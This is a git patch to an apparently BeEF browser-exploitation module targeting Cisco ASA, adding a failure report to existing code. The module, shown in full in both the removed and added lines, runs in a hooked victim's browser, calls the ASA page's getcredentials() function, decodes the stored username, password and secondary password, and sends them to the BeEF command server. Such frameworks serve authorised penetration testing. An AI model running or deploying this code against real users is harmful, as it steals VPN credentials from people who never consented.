From a876233579b7e24dd341f6c222459d0643aa1ba6 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Mon, 18 Dec 2023 05:53:05 +0000 Subject: [PATCH] Report failures too. --- .../cisco_asa_password_disclosure/command.js | 25 +++++++++++-------- 1 file changed, 15 insertions(+), 10 deletions(-) diff --git a/modules/browser/hooked_domain/cisco_asa_password_disclosure/command.js b/modules/browser/hooked_domain/cisco_asa_password_disclosure/command.js index 6df8dad99..f1712fa2b 100644 --- a/modules/browser/hooked_domain/cisco_asa_password_disclosure/command.js +++ b/modules/browser/hooked_domain/cisco_asa_password_disclosure/command.js @@ -11,14 +11,19 @@ beef.execute(function() { s = document.createElement("script"); s.src = "/+CSCOE+/appstart.js"; document.body.appendChild(s); - setTimeout(function () { - creds = getcredentials(); - var result = []; - result.push({ - "username": rot13(hex_2_ascii(creds.split('/')[0].split('=')[1])), - "password": rot13(hex_2_ascii(creds.split('/')[1].split('=')[1])), - "secondary_password": rot13(hex_2_ascii(creds.split('/')[5].split('=')[1])) - }); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + JSON.stringify(result)); - }, 3000); + + if (typeof getcredentials === "function") { + setTimeout(function () { + creds = getcredentials(); + var result = []; + result.push({ + "username": rot13(hex_2_ascii(creds.split('/')[0].split('=')[1])), + "password": rot13(hex_2_ascii(creds.split('/')[1].split('=')[1])), + "secondary_password": rot13(hex_2_ascii(creds.split('/')[5].split('=')[1])) + }); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + JSON.stringify(result)); + }, 3000); + } else { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "failed, most likely due to no auth"); + } });